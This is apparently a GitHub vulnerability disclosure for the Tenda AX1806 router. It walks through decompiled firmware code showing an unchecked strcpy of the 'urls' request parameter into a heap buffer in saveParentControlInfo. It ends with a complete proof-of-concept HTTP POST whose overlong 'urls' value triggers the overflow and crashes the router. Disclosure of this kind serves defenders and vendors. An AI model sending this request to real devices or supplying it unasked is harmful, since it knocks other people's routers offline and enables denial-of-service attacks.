c0rn-0x2d1 Update README_zh.md ... on Feb 9 History

..	
image	10 months ago
README.md	10 months ago
README_zh.md	10 months ago

README.md

Affect device: Tenda Router AX1806 v1.0.0.1(https://www.tenda.com.cn/download/detail-3306.html)

Vulnerability Type: Heap overflow

Impact: Denial of Service(DoS)

Vulnerability description

This vulnerability lies in the `/goform/saveParentControlInfo` page which influences the lastest version of Tenda Router AX1806 v1.0.0.1:
https://www.tenda.com.cn/download/detail-3306.html

There is a heap overflow vulnerability in the `saveParentControlInfo` function.

```
24  memset(s, 0, sizeof(s));
25  v19 = 0;
26  memset(v21, 0, 0x100u);
27  v2 = webgetvar(a1, (int)"deviceId", (int)&byte_1C2CF0);
28  v3 = webgetvar(a1, (int)"deviceName", (int)&byte_1C2CF0);
29  if ( *v3 )
30    setdevicename(v3, v2);
31  result = sub_60BE0(a1);
32  if ( !result )
33  {
34    v5 = (char *)malloc(0x254u);
35    memset(v5, 0, 0x254u);
36    strcpy(v5 + 2, v2);
37    v6 = malloc(0x254u);
38    memset(v6, 0, 0x254u);
39    SetValue("parent.global.en", "1");
40    SetValue("filter.url.en", "1");
41    SetValue("filter.mac.en", "1");
42    sub_60CFC(a1, v6);
43    v7 = sub_5FEFC(0, &v19, v5);
44    if ( v7 <= 0 )
```

Firstly, this function calls the sub_60CFC function and the second parameter v6 is a heap address pointer.

```
src = webgetvar(a1, (int)"deviceId", (int)&byte_1C2CF0);
nptr = webgetvar(a1, (int)"enable", (int)&byte_1C2CF0);
v4 = webgetvar(a1, (int)"time", (int)&byte_1C2CF0);
v5 = webgetvar(a1, (int)"url_enable", (int)&byte_1C2CF0);
v16 = webgetvar(a1, (int)"urls", (int)&byte_1C2CF0);
v6 = webgetvar(a1, (int)"day", (int)&byte_1C2CF0);
v7 = webgetvar(a1, (int)"block", (int)&byte_1C2CF0);
v8 = webgetvar(a1, (int)"limit_type", (int)"1");
```

In the sub_60CFC function, the `v16` variable is obtained directly from the http request parameter `urls`.

Then this function will use the strcpy function to copy the v16 to a2 + 80.

```
  }
  *(_DWORD *)(a2 + 76) = atoi(v4);
  strcpy((char *)(a2 + 80), v16);
  *(_BYTE *)(a2 + 592) = atoi(v5) != 0;
  v11 = atoi(nptr);
  *(_BYTE *)(a2 + 1) = 0;
  *(_BYTE *)a2 = v11 != 0;
  result = atoi(v8) != 0;
  *(_BYTE *)(a2 + 593) = result;
  return result;
}
```

However, a2 is a heap address pointer.So it causes heap overflow.

So by POSTing the page `/goform/saveParentControlInfo` with long `urls` , the attacker can easily perform a Denial of Service(DoS).

POC

Poc of Denial of Service(DoS):

```
POST /goform/saveParentControlInfo HTTP/1.1
Host: 192.168.2.1
Connection: close
Accept: text/plain, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, lik
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.2.1/main.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 65550

time=a-b&urls=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```